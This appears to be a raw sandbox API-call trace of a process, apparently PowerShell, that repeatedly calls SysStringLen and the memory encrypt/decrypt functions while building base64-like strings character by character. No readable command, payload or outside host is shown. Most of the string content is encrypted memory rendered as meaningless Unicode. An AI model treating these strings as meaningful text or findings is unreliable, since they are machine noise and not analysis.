SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.753] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQy⨤") returned 0x18 [0215.753] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.753] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ㋧麹괖鎭钬좖ᴇ徛≊) returned 0x18 [0215.753] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ㋧麹괖鎭钬좖ᴇ徛≊) returned 0x18 [0215.753] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.753] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQyP") returned 0x18 [0215.753] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.753] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟⋍) returned 0x18 [0215.754] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟⋍) returned 0x18 [0215.754] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟⋍) returned 0x18 [0215.754] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟⋍) returned 0x20 [0215.754] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.755] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQyPR⯝䛨걞㩐⳺\x18") returned 0x20 [0215.755] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.755] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟响哀㤎栀탧㹈灦亰⊐) returned 0x20 [0215.755] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟响哀㤎栀탧㹈灦亰⊐) returned 0x20 [0215.755] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.755] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQyPRe䛨걞㩐⳺\x18") returned 0x20 [0215.755] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.755] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟꫍攭ᇵ摅刷櫏଱⊤) returned 0x20 [0215.755] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟꫍攭ᇵ摅刷櫏଱⊤) returned 0x20 [0215.755] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.755] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQyPReS걞㩐⳺\x18") returned 0x20 [0215.755] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.756] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟俍賍䥍圵髧둉ችￊ≿) returned 0x20 [0215.756] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟俍賍䥍圵髧둉ችￊ≿) returned 0x20 [0215.756] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.756] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQyPReSg㩐⳺\x18") returned 0x20 [0215.756] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.756] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟跘胪헖\淞퍼塵쉥") returned 0x20 [0215.756] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟跘胪헖\淞퍼塵쉥") returned 0x20 [0215.756] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.756] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQyPReSgi㩐⳺\x18") returned 0x20 [0215.756] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.756] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟껍甘㠿夙衎䎡∠) returned 0x20 [0215.757] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟껍甘㠿夙衎䎡∠) returned 0x20 [0215.757] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.757] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQyPReSgiy⳺\x18") returned 0x20 [0215.757] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.757] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟ﳍ㇊፬ԧ䩖ᣘ芹캸∇) returned 0x20 [0215.757] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟ﳍ㇊፬ԧ䩖ᣘ芹캸∇) returned 0x20 [0215.757] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.757] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQyPReSgiyl\x18") returned 0x20 [0215.757] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.757] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟跍荜艹濒낊⦽렧⊫) returned 0x20 [0215.757] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟跍荜艹濒낊⦽렧⊫) returned 0x20 [0215.757] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.758] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQyPReSgiylA") returned 0x20 [0215.758] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.758] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬⊚) returned 0x20 [0215.758] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬⊚) returned 0x20 [0215.758] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬⊚) returned 0x20 [0215.758] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬⊚) returned 0x28 [0215.758] SystemFunction041 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.758] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQyPReSgiylA1鋫峚∝઱\ᇟ≗) returned 0x28 [0215.758] SystemFunction040 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.759] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬⚚ᶓﳀ㛄읟಻婿職⊴) returned 0x28 [0215.759] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬⚚ᶓﳀ㛄읟಻婿職⊴) returned 0x28 [0215.759] SystemFunction041 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.759] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQyPReSgiylA1U峚∝઱\ᇟ≗) returned 0x28 [0215.759] SystemFunction040 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.759] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬炚Ꙅ㴆໱⟓氽㪔Ꭿ⊪) returned 0x28 [0215.759] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬炚Ꙅ㴆໱⟓氽㪔Ꭿ⊪) returned 0x28 [0215.759] SystemFunction041 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.759] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQyPReSgiylA1Ud峚∝઱\ᇟ≗) returned 0x28 [0215.759] SystemFunction040 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.760] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬ﶚ䡨\뫛ʣ邈븊") returned 0x28 [0215.760] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬ﶚ䡨\뫛ʣ邈븊") returned 0x28 [0215.760] SystemFunction041 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.760] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQyPReSgiylA1UdB∝઱\ᇟ≗) returned 0x28 [0215.760] SystemFunction040 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.760] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬ᚚ{䧠噈ꆦূ둕菫≵) returned 0x28 [0215.760] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬ᚚ{䧠噈ꆦূ둕菫≵) returned 0x28 [0215.760] SystemFunction041 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.760] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQyPReSgiylA1UdBy઱\ᇟ≗) returned 0x28 [0215.760] SystemFunction040 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.760] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬咚巓帴ᅋ볦P̵㤗≃) returned 0x28 [0215.760] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬咚巓帴ᅋ볦P̵㤗≃) returned 0x28 [0215.760] SystemFunction041 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.761] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQyPReSgiylA1UdByN\ᇟ≗) returned 0x28 [0215.761] SystemFunction040 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.761] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬躚鷖ᦙ\盛滒袡始䳼") returned 0x28 [0215.761] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬躚鷖ᦙ\盛滒袡始䳼") returned 0x28 [0215.761] SystemFunction041 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.761] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQyPReSgiylA1UdByNL圑") returned 0x28 [0215.761] SystemFunction040 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.761] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬킚ᅎ弽룭ᡡ〝߂⋞) returned 0x28 [0215.761] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬킚ᅎ弽룭ᡡ〝߂⋞) returned 0x28 [0215.761] SystemFunction041 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.762] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQyPReSgiylA1UdByNLK") returned 0x28 [0215.762] SystemFunction040 (in: Memory=0x5c91fbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91fbc) returned 0x0 [0215.762] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬ᝋ鿉쓌Ȕﵩ锥왁⋙) returned 0x28 [0215.762] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬ᝋ鿉쓌Ȕﵩ锥왁⋙) returned 0x28 [0215.762] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬ᝋ鿉쓌Ȕﵩ锥왁⋙) returned 0x28 [0215.762] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬ᝋ鿉쓌Ȕﵩ锥왁⋙) returned 0x30 [0215.762] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0215.762] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQyPReSgiylA1UdByNLKT믶긊鎂㋦ᓽ") returned 0x30 [0215.762] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0215.763] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬ᝋ鿉쓌Ȕﵩ锥왁郗줫䙲碍ｆ烓≉) returned 0x30 [0215.763] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬ᝋ鿉쓌Ȕﵩ锥왁郗줫䙲碍ｆ烓≉) returned 0x30 [0215.763] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0215.763] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQyPReSgiylA1UdByNLKTu믶긊鎂㋦ᓽ") returned 0x30 [0215.763] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0215.763] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬ᝋ鿉쓌Ȕﵩ锥왁恞恹컦쯸窼ᣚ낸∱) returned 0x30 [0215.763] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬ᝋ鿉쓌Ȕﵩ锥왁恞恹컦쯸窼ᣚ낸∱) returned 0x30 [0215.763] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0215.763] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQyPReSgiylA1UdByNLKTuY긊鎂㋦ᓽ") returned 0x30 [0215.763] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0215.763] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬ᝋ鿉쓌Ȕﵩ锥왁კ䶳뜐㉅㉵肣∣) returned 0x30 [0215.763] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧䡄脓週阖⽬覌⍟㇍縉₪ᒆ캩캼⪬ᝋ鿉쓌Ȕﵩ锥왁კ䶳뜐㉅㉵肣∣) returned 0x30 [0215.763] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0215.764] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQyPReSgiylA1UdByNLKTuY=鎂㋦ᓽ") returned 0x30 [0215.764] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0215.764] EtwEventActivityIdControl () returned 0x0 [0215.764] EtwEventActivityIdControl () returned 0x0 [0215.764] EtwEventActivityIdControl () returned 0x0 [0215.765] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e690, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0215.766] EtwEventActivityIdControl () returned 0x0 [0215.766] EtwEventActivityIdControl () returned 0x0 [0215.766] EtwEventActivityIdControl () returned 0x0 [0215.767] SysStringLen (param_1="") returned 0x8 [0215.767] SysStringLen (param_1="N") returned 0x8 [0215.767] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.767] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0215.767] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0215.767] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.767] SysStringLen (param_1="ND") returned 0x8 [0215.767] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.767] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0215.767] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0215.767] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.768] SysStringLen (param_1="NDZ") returned 0x8 [0215.768] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.768] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0215.768] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0215.768] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.768] SysStringLen (param_1="NDZl") returned 0x8 [0215.768] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.768] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0215.768] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0215.768] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.768] SysStringLen (param_1="NDZlO") returned 0x8 [0215.768] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.769] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0215.769] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0215.769] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.769] SysStringLen (param_1="NDZlOD") returned 0x8 [0215.769] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.769] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0215.769] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0215.769] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.769] SysStringLen (param_1="NDZlODR") returned 0x8 [0215.769] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.769] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0215.769] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0215.769] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.770] SysStringLen (param_1="NDZlODRm") returned 0x8 [0215.770] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.770] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0215.770] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0215.770] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0215.770] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0215.770] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.771] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0215.771] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.771] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0215.771] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0215.771] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.771] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0215.771] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.771] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0215.771] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0215.771] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.771] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0215.771] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.771] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0215.772] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0215.772] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.772] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0215.772] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.772] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0215.772] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0215.772] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.772] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0215.772] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.772] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0215.772] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0215.772] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.772] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0215.772] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.773] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0215.773] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0215.773] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.773] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0215.773] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.773] SysStringLen 